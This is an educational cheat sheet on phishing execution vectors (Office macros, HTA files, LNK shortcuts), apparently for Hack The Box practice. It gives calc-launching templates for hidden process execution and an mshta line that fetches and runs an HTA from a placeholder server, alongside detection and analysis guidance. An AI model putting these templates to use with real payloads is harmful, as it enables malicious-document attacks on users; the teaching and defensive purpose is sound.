Phishing explained: macros, HTA and LNK

This sheet explains client-side execution vectors so you can recognise a malicious document and understand the HTB machines that use them. The examples launch the calculator (harmless) on purpose; you will see why almost none of them work outside a lab any more.

Office macros

The classic vector: a VBA macro that runs when the document opens. It is the basis of several HTB machines with an internal-phishing theme.

Practise it on: Reel Reel2 Mailing Outdated Office RE

How it fires

The automatic events Keys

' AutoOpen (Word) y Workbook_Open (Excel) se ejecutan al abrir el fichero
' SI el usuario habilita las macros. Document_Open hace lo mismo desde el módulo del documento.
Sub AutoOpen()
    MsgBox "Esto se ejecuta al abrir el documento"
End Sub

Which method spawns a process (demo with calc) Keys

' Shell y WScript.Shell.Run son las dos formas habituales; aquí abren la calculadora.
Sub Demo()
    CreateObject("WScript.Shell").Run "calc.exe", 0, False
End Sub

The 0 asks for a hidden window. In a real attack the command would go here; in this sheet it is calc on purpose.

Why it barely works any more

Mark-of-the-Web Keys

# Desde 2022 Office bloquea las macros de cualquier fichero descargado de Internet o recibido por correo (llevan la marca MOTW). El usuario ya ni ve el botón de "Habilitar".

Defender ASR rules Keys

# "Block all Office applications from creating child processes" impide que WINWORD.EXE lance cmd/powershell, que es justo lo que hace la macro.

How to analyse one you receive

The useful part today: knowing how to look inside a suspicious document without opening it.

Extract and read the macros with oletools Attacker

olevba documento.docm

Inspect the OLE structure Attacker

oleid documento.doc; oledump.py documento.doc

HTA

An .hta is an HTML page that mshta.exe runs outside the browser, with access to COM objects. It opens from a link or an attachment.

Practise it on: RE Reel

How it fires

The minimal structure (demo with calc) Keys

<html><head><script language="VBScript">
  CreateObject("WScript.Shell").Run "calc.exe", 0, False
  self.close
</script></head><body></body></html>

Saved as .hta and opened, mshta.exe runs the script.

How the victim would end up running it Target

mshta http://servidor/documento.hta

What detects it

The pattern any EDR flags Keys

# mshta.exe conectándose a una URL y creando cmd.exe o powershell.exe es un indicador de libro. Muchas empresas bloquean mshta.exe entero con AppLocker/WDAC.

Shortcuts (.lnk)

A shortcut stores an executable and its arguments. With a document icon it fools the eye; that is why you should always check the real extension.

Practise it on: Mailing Outdated

How it fires

What it stores inside (demo with calc) Keys

# TargetPath + Arguments. Al hacer doble clic, Windows ejecuta eso.
# Target:    C:\Windows\System32\cmd.exe
# Arguments: /c calc.exe

Inspect one you receive, without opening it Attacker

(New-Object -ComObject WScript.Shell).CreateShortcut('.\sospechoso.lnk') | Format-List TargetPath, Arguments, IconLocation

From Linux with pylnk3 Attacker

pip install pylnk3 && pylnk3 p sospechoso.lnk

What detects it

Mark-of-the-Web and SmartScreen Keys

# Windows marca los .lnk descargados; SmartScreen avisa, y un .lnk cuyo destino es cmd o powershell es sospechoso por sí solo. La pista para el defensor: Explorer como proceso padre de cmd.